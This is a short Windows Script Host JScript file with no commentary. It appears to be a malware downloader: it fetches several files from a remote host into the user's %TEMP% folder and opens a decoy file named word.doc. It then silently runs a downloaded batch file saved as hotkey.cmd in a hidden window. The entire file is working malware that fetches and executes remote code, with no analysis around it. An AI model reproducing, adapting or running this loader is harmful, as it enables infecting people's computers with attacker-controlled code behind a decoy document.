var niagara="%TEMP%\\";
var wallstreet="%TEMP%\\hotkey.cmd";
var merce="www.andyblog.net";
var sunbath="photo";
var WshShell=WScript.CreateObject("WScript.Shell");
var russi="%TEMP%\\word.doc";
function http_download(warning,sunshi) {
var objXMLHTTP=new ActiveXObject("MSXML2.XMLHTTP");
objXMLHTTP.onreadystatechange=function() {
if(objXMLHTTP.readyState===4) {
var objADOStream=new ActiveXObject("ADODB.Stream");
objADOStream.open();
objADOStream.type=1;
objADOStream.write(objXMLHTTP.ResponseBody);
objADOStream.position=0;
objADOStream.saveToFile(sunshi,2);
objADOStream.close()
}
};
objXMLHTTP.open("GET",warning,false);
objXMLHTTP.send()
}
function CreateObject(ProgId) {
return new ActiveXObject(ProgId)
}
var WshShell=CreateObject("WScript.Shell");
niagara=WshShell.ExpandEnvironmentStrings(niagara);
http_download('http://www.andyblog.net/photo/doc.keybtc','%TEMP%\\word.doc');

try {
WshShell.Run('%TEMP%\\word.doc',1,0)
}

catch(dcc) {};

http_download('http://www.andyblog.net/photo/query.kbtc','%TEMP%\\query.kbtc');

http_download('http://www.andyblog.net/photo/trsh.kbtc','%TEMP%\\trsh.kbtc');

http_download('http://www.andyblog.net/photo/blck.keybtc','%TEMP%\\hotkey.cmd');

WshShell.Run('%TEMP%\\hotkey.cmd',0,0);